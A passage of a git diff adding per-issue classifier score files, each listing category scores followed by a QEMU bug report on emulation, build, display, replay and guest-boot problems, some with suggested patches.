qemu-system-x86_64, while i386 ones work fine. I can confirm this for 6.06 and prior releases, while 8.04 and forward are OK (I don't have interim releases isos). +Steps to reproduce: +1. Launch qemu-system-x86_64 with Ubuntu 6.06.1 amd64 live CD +2. Press "Start or install Ubuntu" +3. PANIC: early exception rip (etc, please see screenshot below) +Additional information: + + +I tried a few versions of QEMU and I can tell you that everything worked fine in 7.0.0 and it first broke in 7.1.0. I don't have a more precise bisect, sorry. I also tried in Fedora 40 with QEMU 8.2.2 and I have the same issue, so I don't think it's distro related. + +On the other hand, on a completely different PC with an Intel Core i3-330M I have no issue at all, even with QEMU 8.2.3, so it might be AMD/Ryzen related. diff --git a/results/classifier/108/graphic/2504 b/results/classifier/108/graphic/2504 new file mode 100644 index 000000000..ade48b65a --- /dev/null +++ b/results/classifier/108/graphic/2504 @@ -0,0 +1,22 @@ +graphic: 0.965 +device: 0.897 +files: 0.738 +network: 0.647 +debug: 0.592 +vnc: 0.397 +PID: 0.347 +other: 0.307 +boot: 0.293 +semantic: 0.287 +performance: 0.183 +socket: 0.145 +permissions: 0.136 +KVM: 0.004 + +linux-user: qemu-x86_64 run /bin/XX got some error on LoongArch machine +Description of problem: +on LoongArch host, chroot x86_64-rootfs then run 'ls' got some error. +Steps to reproduce: +[chrootlog.txt](/uploads/2b77e7d9216396491ef4dc42bf24acc0/chrootlog.txt) +Additional information: + diff --git a/results/classifier/108/graphic/2510 b/results/classifier/108/graphic/2510 new file mode 100644 index 000000000..c28e595ac --- /dev/null +++ b/results/classifier/108/graphic/2510 @@ -0,0 +1,60 @@ +graphic: 0.993 +performance: 0.976 +semantic: 0.964 +PID: 0.943 +device: 0.931 +other: 0.914 +permissions: 0.901 +socket: 0.869 +vnc: 0.850 +debug: 0.827 +network: 0.803 +files: 0.776 +KVM: 0.745 +boot: 0.635 + +Cross compiling tools / qemu-img results in "ninja: no work to do" +Description of problem: +I have the following Dockerfile setting up a cross-compile environment for QEMU. +I am trying to build qemu-img.exe only at the moment + + +``` +FROM fedora as builder +RUN --mount=type=cache,target=/var/cache \ + dnf -v install --assumeyes strace gcc make mingw64-gcc mingw64-binutils python-setuptools meson mingw64-glib2-static mingw64-glib2 diffutils + +FROM builder as qemu-builder +WORKDIR /src/qemu #assuming qemu source tree is already available at /src/qemu +RUN +RUN ./configure --cross-prefix=x86_64-w64-mingw32- --target-list='' --static +RUN make V=1 tools +``` +With either `make tools` or `make qemu-img.exe` I get + +``` +#10 0.265 changing dir to build for make "tools"... +#10 0.267 make[1]: Entering directory '/src/qemu/build' +#10 0.330 ninja: no work to do. +#10 0.331 { \ +#10 0.331 echo 'ninja-targets = \'; \ +#10 0.331 /usr/bin/ninja -t targets all | sed 's/:.*//; $!s/$/ \\/'; \ +#10 0.331 echo 'build-files = \'; \ +#10 0.331 /usr/bin/ninja -t query build.ninja | sed -n '1,/^ input:/d; /^ outputs:/q; s/$/ \\/p'; \ +#10 0.331 } > Makefile.ninja.tmp && mv Makefile.ninja.tmp Makefile.ninja +#10 0.363 /src/qemu/build/pyvenv/bin/meson introspect --targets --tests --benchmarks | /src/qemu/build/pyvenv/bin/python3 -B scripts/mtest2make.py > Makefile.mtest +#10 0.634 make[1]: Nothing to be done for 'tools'. +#10 0.634 make[1]: Leaving directory '/src/qemu/build' +#10 DONE 0.6s +``` + +Following the info in `make help`, I tried `make qemu-img.o` which resulted in + +``` +cc -c -o qemu-img.o qemu-img.c +qemu-img.c:25:10: fatal error: qemu/osdep.h: No such file or directory + 25 | #include "qemu/osdep.h" + | ^~~~~~~~~~~~~~ +``` +Additional information: + diff --git a/results/classifier/108/graphic/2513 b/results/classifier/108/graphic/2513 new file mode 100644 index 000000000..9e04fcae5 --- /dev/null +++ b/results/classifier/108/graphic/2513 @@ -0,0 +1,28 @@ +graphic: 0.981 +device: 0.979 +vnc: 0.617 +performance: 0.613 +files: 0.536 +permissions: 0.498 +network: 0.453 +semantic: 0.413 +socket: 0.405 +boot: 0.358 +debug: 0.259 +PID: 0.187 +other: 0.059 +KVM: 0.016 + +CXL Device Missing PCI_CAP_ID_PM (01h) in CAP List Implementation According to PCIe SPEC +Description of problem: +- The lack of **PCI_CAP_ID_PM (01h)** will not cause any crash or error when running QEMU, but it is violated to the PCIe SPEC. +- When some vendors test the power management capability (e.g., Linux Runtime PM), they must manually implement this CAP list to support the D1/D2/D3_Hot d-states changes. +- We don't see any PCI_CAP_ID_PM (01h) in the CXL rootport or endpoint + + {width=349 height=474} + + +# +Steps to reproduce: +1. Run the qemu-system-x86 (See QEMU command line) +2. sudo lspci -xxx diff --git a/results/classifier/108/graphic/2518 b/results/classifier/108/graphic/2518 new file mode 100644 index 000000000..e8e002345 --- /dev/null +++ b/results/classifier/108/graphic/2518 @@ -0,0 +1,29 @@ +graphic: 0.963 +debug: 0.958 +performance: 0.935 +boot: 0.819 +device: 0.805 +semantic: 0.768 +other: 0.749 +permissions: 0.692 +network: 0.653 +PID: 0.533 +socket: 0.532 +vnc: 0.471 +files: 0.421 +KVM: 0.193 + +Incorrect vertical mouse leaps on qemu-system-sparc +Description of problem: +In openwin (i.e. X) if you turn the scrollwheel on the mouse 1 click the cursor jumps almost all of the way down the screen. Similarly, just pressing the scroll wheel (middle click) multiple times will sometimes produce similar behavior but the cursor doesn't jump as far. +Steps to reproduce: +- Boot Solaris and log in +- capture the mouse by clicking on the screen +- position the mouse cursor near the top of the screen (just so you can see how far it jumps) +- click the scroll wheel up or down one click and observe the cursor jump downward +Additional information: +The issue is independent of which graphic display is used -- sdl, gtk and vnc all do the same thing. Debugging so far suggests that the problem is related to the fact that `sunmouse_event` in `escc.c` is sending a flood of duplicate events in response to the mouse scroll action. My surmise is that this is causing one byte to be dropped from the 5 byte mouse protocol expected by the Solaris kernel and that it is interpreting a sync byte as a vertical motion byte. + +`sunmouse_event` should not send events with only `dz` non-zero and no button changes. The Mouse Systems Corp spec for the the Sun mouse says that it never sends duplicate events (i.e. an event is produced only if there is non-zero `dx` or `dy` or there has been a button state change), and the mouse protocol has no support for `dz` events. + +I will propose a patch shortly to enforce this (and which has seemingly fixed the problem). diff --git a/results/classifier/108/graphic/2520 b/results/classifier/108/graphic/2520 new file mode 100644 index 000000000..9d78957f4 --- /dev/null +++ b/results/classifier/108/graphic/2520 @@ -0,0 +1,26 @@ +graphic: 0.970 +device: 0.856 +performance: 0.710 +semantic: 0.692 +debug: 0.597 +PID: 0.480 +permissions: 0.394 +files: 0.386 +other: 0.359 +vnc: 0.313 +socket: 0.310 +boot: 0.279 +network: 0.152 +KVM: 0.025 + +qemu-system-x86_64 : No Display when system wakeup from suspend +Description of problem: +Qemu display window is blank with message `Display output is not active.` +Steps to reproduce: +1. Use https://gitlab.com/berrange/tiny-vm-tools/-/blob/master/make-tiny-image.py to generate tiny-initrd.img +2. Run qemu and drop into shell +3. Put machine into S3 (echo mem > /sys/power/state) +4. Use socat to connect to QEMU monitor and wake up the machine (system_wakeup) +5. System resumes in shell, but no output in display +Additional information: +Same behavior, if I try standard ubuntu22.04.qcow2 image. Before suspend GUI is there and after wakeup from suspend blank display with message `Display output is not active.` diff --git a/results/classifier/108/graphic/2523 b/results/classifier/108/graphic/2523 new file mode 100644 index 000000000..b990b3538 --- /dev/null +++ b/results/classifier/108/graphic/2523 @@ -0,0 +1,35 @@ +graphic: 0.935 +device: 0.796 +performance: 0.717 +semantic: 0.686 +PID: 0.686 +permissions: 0.613 +files: 0.564 +other: 0.563 +debug: 0.488 +vnc: 0.479 +socket: 0.436 +boot: 0.362 +network: 0.302 +KVM: 0.136 + +[9.0.2] PPC: snapshot replay freeze on PowerPC +Description of problem: +Qemu 9.0.2 cannot replay snapshots on PowerPC e500mc (Book-E) architecture. When I try to do this, the program freezes. +Steps to reproduce: +1. Run bare metal example from the attachment with the first command-line to create snapshot. Then end it using ctrl+c. +2. Run bare metal example from the attachment with the second command-line to replay snapshot. Running will freeze, use ctrl+c. +Additional information: +e500mc example that prints Hello World: [ppc-e500.zip](/uploads/ef9ce53abc3f17490d4894c041956038/ppc-e500.zip) + +Log output: +``` +% qemu-system-ppc -cpu e500 -M ppce500 -kernel hello.elf -display none -serial stdio -icount 1,rr=record,rrfile=main.bin,rrsnapshot=init -drive file=empty.qcow2,if=none,id=rr +Hello world +qemu-system-ppc: terminating on signal 2 +% qemu-system-ppc -cpu e500 -M ppce500 -kernel hello.elf -display none -serial stdio -icount 1,rr=replay,rrfile=main.bin,rrsnapshot=init -drive file=empty.qcow2,if=none,id=rr +qemu-system-ppc: terminating on signal 2 +qemu-system-ppc: Playback shouldn't have to iowait (insn total 0/68 left, event 4 is EVENT_INSTRUCTION) +zsh: IOT instruction (core dumped) qemu-system-ppc -cpu e500 -M ppce500 -kernel hello.elf -display none -serial +``` +`Playback shouldn't have to iowait` error caused by 1f881ea4a444ef36a8b6907b0b82be4b3af253a2 commit, see https://gitlab.com/qemu-project/qemu/-/issues/2524 diff --git a/results/classifier/108/graphic/2550 b/results/classifier/108/graphic/2550 new file mode 100644 index 000000000..836599fb1 --- /dev/null +++ b/results/classifier/108/graphic/2550 @@ -0,0 +1,40 @@ +graphic: 0.967 +boot: 0.931 +device: 0.817 +performance: 0.627 +files: 0.609 +PID: 0.543 +semantic: 0.534 +vnc: 0.502 +debug: 0.377 +socket: 0.371 +other: 0.364 +permissions: 0.317 +network: 0.234 +KVM: 0.120 + +GICv3 vGIC system registers not initialized on ARM Cortex-A15 +Description of problem: +For Cortex-A15, the GICv3 vGIC registers are not initialized like for AArch64 CPUs, for example Cotex-A35, Cortex-A55, etc +Steps to reproduce: +The setup is not trivial. I can provide a boot image on request. But I hope the problem is straight-forward. +Additional information: +Suggested fix: +```diff +index 20c2737f17..136b513bda 100644 +--- a/target/arm/tcg/cpu32.c ++++ b/target/arm/tcg/cpu32.c +@@ -569,6 +569,12 @@ static void cortex_a15_initfn(Object *obj) + cpu->ccsidr[1] = 0x201fe00a; /* 32K L1 icache */ + cpu->ccsidr[2] = 0x711fe07a; /* 4096K L2 unified cache */ + cpu->isar.reset_pmcr_el0 = 0x410F3000; ++ ++ /* From B3.5 VGIC Type register */ ++ cpu->gic_num_lrs = 4; ++ cpu->gic_vpribits = 5; ++ cpu->gic_vprebits = 5; ++ + define_arm_cp_regs(cpu, cortexa15_cp_reginfo); + } + +``` diff --git a/results/classifier/108/graphic/2556 b/results/classifier/108/graphic/2556 new file mode 100644 index 000000000..d36c9ad5e --- /dev/null +++ b/results/classifier/108/graphic/2556 @@ -0,0 +1,27 @@ +graphic: 0.953 +performance: 0.928 +device: 0.889 +boot: 0.763 +semantic: 0.664 +vnc: 0.572 +PID: 0.565 +socket: 0.410 +other: 0.392 +debug: 0.383 +KVM: 0.228 +network: 0.167 +permissions: 0.126 +files: 0.106 + +memory balloon massively slows Windows shutdown (almost feels like it crashed for minutes) +Description of problem: +When reducing the memory using ballooning, the shutdown takes very long. One may even assume it crashed, but it will eventually power off. +Steps to reproduce: +1. wait until Windows has booted +2. reduce the balloon by multiple GB via monitor: `balloon 8192` _(8 GB balloon, memory size is 24 GB)_ +3. Shut down (or reboot) Windows + +The system shows the boot screen at shutdown for a long time. + +It's about 10 seconds extra time per reduced balloon size. So when resizing the balloon from 24 GB to 8 GB, that's 16 GB. +So the shutdown needs: 16 * 10 = 160 seconds = **about 3 minutes** diff --git a/results/classifier/108/graphic/2559 b/results/classifier/108/graphic/2559 new file mode 100644 index 000000000..b15381a1c --- /dev/null +++ b/results/classifier/108/graphic/2559 @@ -0,0 +1,26 @@ +graphic: 0.924 +device: 0.848 +semantic: 0.824 +PID: 0.708 +files: 0.706 +performance: 0.660 +vnc: 0.609 +permissions: 0.608 +debug: 0.601 +boot: 0.585 +socket: 0.523 +other: 0.425 +network: 0.406 +KVM: 0.060 + +macOS cocoa UI cursor position mismatch when running Windows XP under QEMU 9.1.0 +Description of problem: +QEMU 9.1.0 got hardware cursor support on macOS with the cocoa UI. When running a Windows XP guest, the windows's own cursor got a 13 pixel offset both in X and Y direction. When the "show-cursor" is off, the problem still exists, so the click target is not under the pointer of the cursor. I was using the "Red Hat QXL GPU" driver v6.1.0.10024 which was built in 2015. + +I also checked it with Linux (i have an x86-64 Alma Linux 8 installation too), this working fine when using the "-display cocoa,show-cursoor=off,zoom-to-fit=off -device virtio-vga" parameters. +Steps to reproduce: +1. Load a Windows XP with QXL drivers installed +Additional information: + + + diff --git a/results/classifier/108/graphic/2576 b/results/classifier/108/graphic/2576 new file mode 100644 index 000000000..d92d75754 --- /dev/null +++ b/results/classifier/108/graphic/2576 @@ -0,0 +1,16 @@ +graphic: 0.934 +device: 0.719 +performance: 0.665 +semantic: 0.659 +vnc: 0.593 +other: 0.300 +debug: 0.252 +boot: 0.197 +PID: 0.167 +network: 0.125 +permissions: 0.082 +KVM: 0.062 +files: 0.010 +socket: 0.004 + +virtio-balloon: Assertion `mrs.mr' failed. diff --git a/results/classifier/108/graphic/2580 b/results/classifier/108/graphic/2580 new file mode 100644 index 000000000..9206c5299 --- /dev/null +++ b/results/classifier/108/graphic/2580 @@ -0,0 +1,27 @@ +graphic: 0.955 +device: 0.917 +PID: 0.876 +network: 0.776 +performance: 0.748 +vnc: 0.716 +debug: 0.703 +boot: 0.681 +semantic: 0.637 +permissions: 0.583 +socket: 0.572 +files: 0.524 +other: 0.346 +KVM: 0.097 + +qemu-aarch64_be 9.1.0 fails to run any Linux programs due to unreachable in gdb_find_static_feature() +Description of problem: +``` +❯ cat empty.c +void _start() {} +❯ clang empty.c -target aarch64_be-linux -nostdlib -fuse-ld=lld +❯ qemu-aarch64_be ./a.out +** +ERROR:../gdbstub/gdbstub.c:493:gdb_find_static_feature: code should not be reached +Bail out! ERROR:../gdbstub/gdbstub.c:493:gdb_find_static_feature: code should not be reached +fish: Job 1, 'qemu-aarch64_be ./a.out' terminated by signal SIGABRT (Abort) +``` diff --git a/results/classifier/108/graphic/2591 b/results/classifier/108/graphic/2591 new file mode 100644 index 000000000..a495b37e6 --- /dev/null +++ b/results/classifier/108/graphic/2591 @@ -0,0 +1,16 @@ +graphic: 0.981 +device: 0.912 +performance: 0.836 +debug: 0.634 +network: 0.247 +other: 0.217 +boot: 0.204 +PID: 0.118 +vnc: 0.083 +semantic: 0.070 +permissions: 0.063 +socket: 0.047 +files: 0.022 +KVM: 0.001 + +Black screen and DTB errors while trying to emulate the kernel of the RaspiOS (based on Debian Bookworm) using the parameter -machine raspi4b diff --git a/results/classifier/108/graphic/2601 b/results/classifier/108/graphic/2601 new file mode 100644 index 000000000..087284fed --- /dev/null +++ b/results/classifier/108/graphic/2601 @@ -0,0 +1,51 @@ +graphic: 0.988 +debug: 0.914 +performance: 0.788 +vnc: 0.759 +device: 0.756 +files: 0.645 +network: 0.482 +other: 0.446 +permissions: 0.379 +semantic: 0.358 +socket: 0.340 +PID: 0.331 +boot: 0.235 +KVM: 0.107 + +Executing LD1SB + MTE on Arm64 fails an assert +Description of problem: +I'm getting +``` +qemu-system-aarch64: ../tcg/tcg-op-gvec.c:91: simd_desc: Assertion `data == sextract32(data, 0, (32 - ((0 + 8) + 2)))' failed. +``` +This is caused by the upper bits of `data` being set to 1, which violates the condition. +Steps to reproduce: +1. build QEMU with assertions enabled (e.g., `configure --enable-debug-tcg`). +2. have a `LD1SB f{z25.d}, p3/z, [x14, x9]` (binary a5894dd9) instruction in the executed code. +3. enable mte +4. Let QEMU execute the ld1sb instruction. +Additional information: +{width=699 height=141} + +This issue happens because for ld1sb, nregs=0 in `sve.decode`: +``` +# SVE contiguous load (scalar plus scalar) +LD_zprr 1010010 .... ..... 010 ... ..... ..... @rprr_load_dt nreg=0 +``` +As a result, in do_mem_zpa is called with n_reg=0, which becomes mte_n inside do_mem_zpa. +Since mte_n==0, and mte_active, then +```c +desc = FIELD_DP32(desc, MTEDESC, SIZEM1, (mte_n << msz) - 1); +``` +sets (0) - 1 == -1 to the field, which also sets the upper bits of `desc`. +The `desc` with upper bits set to 1 is used to call: +```c +desc = simd_desc(vsz, vsz, zt | desc); +``` +Inside `simd_desc`, the last parameter is named `data` and it fails the assertion: +```c +tcg_debug_assert(data == sextract32(data, 0, SIMD_DATA_BITS)) +``` + +# diff --git a/results/classifier/108/graphic/2602 b/results/classifier/108/graphic/2602 new file mode 100644 index 000000000..c5efe713d --- /dev/null +++ b/results/classifier/108/graphic/2602 @@ -0,0 +1,24 @@ +graphic: 0.991 +device: 0.929 +vnc: 0.700 +files: 0.640 +semantic: 0.550 +socket: 0.496 +debug: 0.481 +boot: 0.450 +network: 0.441 +PID: 0.383 +KVM: 0.289 +performance: 0.204 +other: 0.198 +permissions: 0.197 + +Windows installer being signed with an expired certificate +Description of problem: +Digital Signature for setup is invalid +Steps to reproduce: +1. Downloaded the latest 64-bit windows installer +2. Right Click and select Digital Signature tab +3. Observe certificate shows valid dates are 12/8/2022 - 12/9/2023 +Additional information: +{width=621 height=393} diff --git a/results/classifier/108/graphic/2606 b/results/classifier/108/graphic/2606 new file mode 100644 index 000000000..cb4362dd3 --- /dev/null +++ b/results/classifier/108/graphic/2606 @@ -0,0 +1,213 @@ +graphic: 0.976 +other: 0.973 +semantic: 0.960 +permissions: 0.949 +debug: 0.948 +PID: 0.947 +performance: 0.939 +device: 0.934 +socket: 0.923 +files: 0.893 +boot: 0.891 +vnc: 0.864 +network: 0.754 +KVM: 0.698 + +PowerPC host code is broken on Darwin +Description of problem: +Existing code is just wrong for Darwin ppc, it won’t compile. Assembler syntax needs to be fixed and likely adjusted to correct ABI. +Steps to reproduce: +1. Run the build of qemu on Darwin ppc, see it fail. +Additional information: +This is a patch I used earlier to fix the build (together with few minor unrelated to powerpc fixes): +``` +--- common-user/host/ppc/safe-syscall.inc.S.orig 2022-04-20 03:10:27.000000000 +0800 ++++ common-user/host/ppc/safe-syscall.inc.S 2023-08-18 18:08:15.000000000 +0800 +@@ -25,17 +25,11 @@ + # else + # error "Unknown ABI" + # endif +-#endif +- +-#ifndef _CALL_SYSV +-# error "Unsupported ABI" + #endif + +- + .global safe_syscall_base + .global safe_syscall_start + .global safe_syscall_end +- .type safe_syscall_base, @function + + .text + +@@ -47,11 +41,8 @@ + * arguments being syscall arguments (also 'long'). + */ + safe_syscall_base: +- .cfi_startproc +- stwu 1, -8(1) +- .cfi_def_cfa_offset 8 +- stw 30, 4(1) +- .cfi_offset 30, -4 ++ stwu r1, -8(r1) ++ stw r30, 4(r1) + + /* + * We enter with r3 == &signal_pending +@@ -64,14 +55,14 @@ + * and returns the result in r3 + * Shuffle everything around appropriately. + */ +- mr 30, 3 /* signal_pending */ +- mr 0, 4 /* syscall number */ +- mr 3, 5 /* syscall arguments */ +- mr 4, 6 +- mr 5, 7 +- mr 6, 8 +- mr 7, 9 +- mr 8, 10 ++ mr r30, r3 /* signal_pending */ ++ mr r0, r4 /* syscall number */ ++ mr r3, r5 /* syscall arguments */ ++ mr r4, r6 ++ mr r5, r7 ++ mr r6, r8 ++ mr r7, r9 ++ mr r8, r10 + + /* + * This next sequence of code works in conjunction with the +@@ -83,25 +74,22 @@ + */ + safe_syscall_start: + /* if signal_pending is non-zero, don't do the call */ +- lwz 12, 0(30) +- cmpwi 0, 12, 0 ++ lwz r12, 0(r30) ++ cmpwi cr0, r12, 0 + bne- 2f + sc + safe_syscall_end: + /* code path when we did execute the syscall */ +- lwz 30, 4(1) /* restore r30 */ +- addi 1, 1, 8 /* restore stack */ +- .cfi_restore 30 +- .cfi_def_cfa_offset 0 ++ lwz r30, 4(r1) /* restore r30 */ ++ addi r1, r1, 8 /* restore stack */ ++ + bnslr+ /* return on success */ + b safe_syscall_set_errno_tail + + /* code path when we didn't execute the syscall */ +-2: lwz 30, 4(1) +- addi 1, 1, 8 +- addi 3, 0, QEMU_ERESTARTSYS ++2: lwz r30, 4(r1) ++ addi r1, r1, 8 ++ addi r3, 0, QEMU_ERESTARTSYS + b safe_syscall_set_errno_tail + +- .cfi_endproc +- + .size safe_syscall_base, .-safe_syscall_base + + +--- common-user/host/ppc64/safe-syscall.inc.S.orig 2022-04-20 03:10:27.000000000 +0800 ++++ common-user/host/ppc64/safe-syscall.inc.S 2022-05-31 13:23:21.000000000 +0800 +@@ -13,7 +13,6 @@ + .global safe_syscall_base + .global safe_syscall_start + .global safe_syscall_end +- .type safe_syscall_base, @function + + .text + +@@ -23,19 +22,10 @@ + * second one the system call number (as a 'long'), and all further + * arguments being syscall arguments (also 'long'). + */ +-#if _CALL_ELF == 2 +-safe_syscall_base: +- .cfi_startproc +- .localentry safe_syscall_base,0 +-#else +- .section ".opd","aw" ++ + .align 3 + safe_syscall_base: +- .quad .L.safe_syscall_base,.TOC.@tocbase,0 +- .previous +-.L.safe_syscall_base: +- .cfi_startproc +-#endif ++ + /* We enter with r3 == &signal_pending + * r4 == syscall number + * r5 ... r10 == syscall arguments +@@ -46,16 +36,15 @@ + * and returns the result in r3 + * Shuffle everything around appropriately. + */ +- std 14, 16(1) /* Preserve r14 in SP+16 */ +- .cfi_offset 14, 16 +- mr 14, 3 /* signal_pending */ +- mr 0, 4 /* syscall number */ +- mr 3, 5 /* syscall arguments */ +- mr 4, 6 +- mr 5, 7 +- mr 6, 8 +- mr 7, 9 +- mr 8, 10 ++ std r14, 16(r1) /* Preserve r14 in SP+16 */ ++ mr r14, r3 /* signal_pending */ ++ mr r0, r4 /* syscall number */ ++ mr r3, r5 /* syscall arguments */ ++ mr r4, r6 ++ mr r5, r7 ++ mr r6, r8 ++ mr r7, r9 ++ mr r8, r10 + + /* This next sequence of code works in conjunction with the + * rewind_if_safe_syscall_function(). If a signal is taken +@@ -66,29 +55,20 @@ + */ + safe_syscall_start: + /* if signal_pending is non-zero, don't do the call */ +- lwz 12, 0(14) +- cmpwi 0, 12, 0 ++ ld r12, 0(r14) ++ cmpdi cr0, r12, 0 + bne- 2f + sc + safe_syscall_end: + /* code path when we did execute the syscall */ +- ld 14, 16(1) /* restore r14 */ ++ ld r14, 16(r1) /* restore r14 */ + bso- 1f + blr + + /* code path when we didn't execute the syscall */ +-2: ld 14, 16(1) /* restore r14 */ +- addi 3, 0, QEMU_ERESTARTSYS ++2: ld r14, 16(r1) /* restore r14 */ ++ addi r3, 0, QEMU_ERESTARTSYS + + /* code path setting errno */ + 1: b safe_syscall_set_errno_tail + nop /* per abi, for the linker to modify */ +- +- .cfi_endproc +- +-#if _CALL_ELF == 2 +- .size safe_syscall_base, .-safe_syscall_base +-#else +- .size safe_syscall_base, .-.L.safe_syscall_base +- .size .L.safe_syscall_base, .-.L.safe_syscall_base +-#endif +``` +(Obviously, it is not made in a portable way – that was not needed at the time.) + +Unfortunately, while build itself worked, the binary crashed on launch. So something is not quite right, maybe with ABI compliance. diff --git a/results/classifier/108/graphic/2609 b/results/classifier/108/graphic/2609 new file mode 100644 index 000000000..5c0f8e166 --- /dev/null +++ b/results/classifier/108/graphic/2609 @@ -0,0 +1,26 @@ +graphic: 0.968 +device: 0.914 +semantic: 0.838 +performance: 0.751 +PID: 0.670 +boot: 0.512 +debug: 0.506 +permissions: 0.469 +other: 0.407 +network: 0.401 +vnc: 0.398 +socket: 0.373 +files: 0.288 +KVM: 0.066 + +Blue screen in Windows XP +Description of problem: +When starting the installation of Windows XP when using a virtioblk device you immediately get a bluescreen: `STOP: 0x000000A5 (0x00000002, 0x8A1A6008, 0xE1018808, 0x8A1B7F00)`. I think this happens even before it loads the SATA drivers that are slipstreamed in the ISO. + +After a lot of Googling about this error 0x000000A5 I found some posts suggesting that changing the machine type from `q35` to `pc-q35-2.10` solves the issue. And it worked. Anything above 2.10 (for example 2.11) and the bluescreens return. + +So I always used this solution, but in QEMU 9.1.0 it warns that `pc-q35-2.10` will be removed soon. This would mean there is no way anymore to install XP to a SATA disk unattendly. +Steps to reproduce: +1. Use a virtioblk disk and SATA drivers +2. Start the Windows XP installer +3. Bluescreen will appear diff --git a/results/classifier/108/graphic/2637 b/results/classifier/108/graphic/2637 new file mode 100644 index 000000000..2456812bc --- /dev/null +++ b/results/classifier/108/graphic/2637 @@ -0,0 +1,68 @@ +graphic: 0.994 +performance: 0.980 +device: 0.979 +vnc: 0.973 +files: 0.962 +boot: 0.929 +permissions: 0.928 +network: 0.924 +PID: 0.917 +socket: 0.909 +debug: 0.906 +KVM: 0.880 +other: 0.758 +semantic: 0.667 + +ubuntu 22.04 virtio-vga-gl notwork +Description of problem: + +Steps to reproduce: +1.qemu-system-x86_64 \ + -m 2048 \ + -smp 2 \ + -hda /home/perilla/virt/redroid.qcow2 \ + -boot d \ + -net nic -net user,hostfwd=tcp::1122-:22,hostfwd=tcp::19000-:9000,hostfwd=tcp::15555-:5555 \ + -vnc :0 \ + -device virtio-vga-gl \ + -display sdl,gl=on \ + -enable-kvm + +the machine can't startup normally + +host console output: +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2]\n +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2]\n +gl_version 46 - core profile enabled\n + +after`gl_version` line, startup prograss stopped![image] + +vm console output: +it seems different every startup progress + +first time: + +{width=764 height=467} +second time: + +{width=780 height=415} + +2. +3. +Additional information: +when I use -device virtio-gpu, it works fine +qemu-system-x86_64 \ + -m 2048 \ + -smp 2 \ + -hda /home/username/virt/redroid.qcow2 \ + -boot d \ + -net nic -net user,hostfwd=tcp::1122-:22,hostfwd=tcp::19000-:9000,hostfwd=tcp::15555-:5555 \ + -vnc :0 \ + -device virtio-gpu \ + -display sdl,gl=on \ + -enable-kvm \ + -device qxl + +host console output:\n +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2]\n +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2]\n diff --git a/results/classifier/108/graphic/2642 b/results/classifier/108/graphic/2642 new file mode 100644 index 000000000..1ae27f43c --- /dev/null +++ b/results/classifier/108/graphic/2642 @@ -0,0 +1,20 @@ +graphic: 0.979 +semantic: 0.944 +socket: 0.933 +network: 0.906 +device: 0.888 +other: 0.854 +performance: 0.649 +debug: 0.630 +KVM: 0.563 +PID: 0.517 +boot: 0.512 +permissions: 0.468 +files: 0.459 +vnc: 0.428 + +guest-set-time not supported +Description of problem: +guest-set-time is not supported un Ubuntu 24.04 guests. It still works on a Ubuntu 22.04 guest and on W10 and W11 guests + +feedback from the Ubuntu 24.04 guest: error: internal error: unable to execute QEMU agent command 'guest-set-time': this feature or command is not currently supported diff --git a/results/classifier/108/graphic/2645 b/results/classifier/108/graphic/2645 new file mode 100644 index 000000000..388a2b70e --- /dev/null +++ b/results/classifier/108/graphic/2645 @@ -0,0 +1,38 @@ +graphic: 0.964 +performance: 0.846 +debug: 0.690 +PID: 0.682 +device: 0.680 +semantic: 0.645 +permissions: 0.476 +vnc: 0.432 +other: 0.430 +boot: 0.243 +files: 0.230 +socket: 0.210 +network: 0.154 +KVM: 0.117 + +Failed shutdown during record with `ide-hd` disk. +Description of problem: +Running `shutdown -h now` on the guest with an `ide-hd` disk during a recording results in a long wait, followed by a BMDMA error. +Steps to reproduce: +1. Install Ubuntu Server guest OS and create disk snapshot +1. Reboot and log in: `qemu-system-x86_64 -hda ubuntu_snapshot.qcow2 -m 2g -net none -monitor stdio` +2. Take a snapshot: `savevm loggedin` +3. Start recording from VM snapshot: `./qemu/build/qemu-system-x86_64 -icount shift=auto,rr=record,rrfile=ubuntu_shutdown.bin -drive file=ubuntu_snapshot.qcow2,if=none,id=img-direct -drive driver=blkreplay,if=none,image=img-direct,id=img-blkreplay -device ide-hd,drive=img-blkreplay -loadvm loggedin -net none -m 2g` +4. Run `shutdown -h now` in guest +5. Wait (~5-10 mins) +6. Observe BMDMA error (see below) +Additional information: +``` +ata1.00: exeption Emask 0x0 SAct 0.0 SErr 0.0 action 0x6 +ata1.00: BMDMA stat 0x5 +ata1.00: failed command: READ DMA +ata1.00: cmd c8/xx:xx:xx:xx:xx/xx:xx:xx:xx:xx/xx tag - dma 4096 in + res 00/00:00:00:00:00/00:00:00:00:00/00 Emask 0x2 (HSM violation) +ata1.00: revalidation failed (errno=-2) +... +``` + +Note: Running the same command on a guest with a `virtio` disk results in further progress, but still does not shut down (stuck on `[ OK ] Stopped Create final runtime dir for shutdown pivot root.`) diff --git a/results/classifier/108/graphic/2657 b/results/classifier/108/graphic/2657 new file mode 100644 index 000000000..fbec72707 --- /dev/null +++ b/results/classifier/108/graphic/2657 @@ -0,0 +1,26 @@ +graphic: 0.969 +boot: 0.837 +device: 0.831 +vnc: 0.776 +files: 0.702 +semantic: 0.651 +PID: 0.621 +socket: 0.572 +performance: 0.522 +permissions: 0.504 +network: 0.492 +debug: 0.484 +other: 0.195 +KVM: 0.082 + +Kernel crashed when installing OpenServer 6 D2M2a +Description of problem: +The kernel crashed when finishing installation. +Steps to reproduce: +1. Download OpenServer6D2M2a-DVD.iso for free from Xinuos website(a free account is needed, but the registation is easy to be done) +2. Create new virtual hard drive +3. Boot the installation ISO +4. Install with all default settings and all packages, evaluate license is okay. +5. Boom! +Additional information: + diff --git a/results/classifier/108/graphic/2674 b/results/classifier/108/graphic/2674 new file mode 100644 index 000000000..ee41a3486 --- /dev/null +++ b/results/classifier/108/graphic/2674 @@ -0,0 +1,39 @@ +graphic: 0.984 +boot: 0.874 +device: 0.782 +other: 0.684 +semantic: 0.681 +socket: 0.616 +performance: 0.612 +permissions: 0.525 +vnc: 0.469 +PID: 0.467 +debug: 0.452 +files: 0.447 +network: 0.186 +KVM: 0.104 + +NextSTEP 3.3 for Sparc graphical glitches +Description of problem: +It installs/boot by using complex boot syntax and taskset -c 0 under Linux + +see end of https://gitlab.com/qemu-project/qemu/-/issues/2620#note_2207999780 + +But after it installs I see some gfx 